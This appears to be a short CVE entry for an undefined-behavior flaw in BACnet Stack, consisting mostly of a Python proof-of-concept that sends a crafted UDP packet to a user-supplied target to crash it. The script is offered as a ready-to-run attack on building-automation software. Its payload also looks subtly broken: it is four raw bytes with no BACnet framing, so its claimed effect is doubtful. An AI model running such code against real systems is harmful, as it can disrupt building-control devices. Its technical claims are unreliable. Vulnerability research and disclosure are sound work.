CVE-2026-40279 BACnet Stack未定义行为漏洞

import socket # PoC to trigger Undefined Behavior in BACnet Stack decode_signed32() # The vulnerability is triggered by sending bytes where the 7th bit is set, # causing a signed int overflow during left shift operations. def send_malicious_bacnet_packet(target_ip, target_port): # Construct a payload simulating a BACnet property with a problematic signed integer. # Example bytes: 0x80 (bit 7 set) followed by zeros. # This mimics a scenario where the decode_signed32 function would fail. payload = bytes([0x80, 0x00, 0x00, 0x00]) try: # BACnet typically runs over UDP (port 47808) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) print(f"[+] Payload sent to {target_ip}:{target_port}") print("[+] Check target for crash or sanitizer reports.") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <target_port> import sys if len(sys.argv) == 3: send_malicious_bacnet_packet(sys.argv[1], int(sys.argv[2])) else: print("Usage: python poc.py <IP> <PORT>")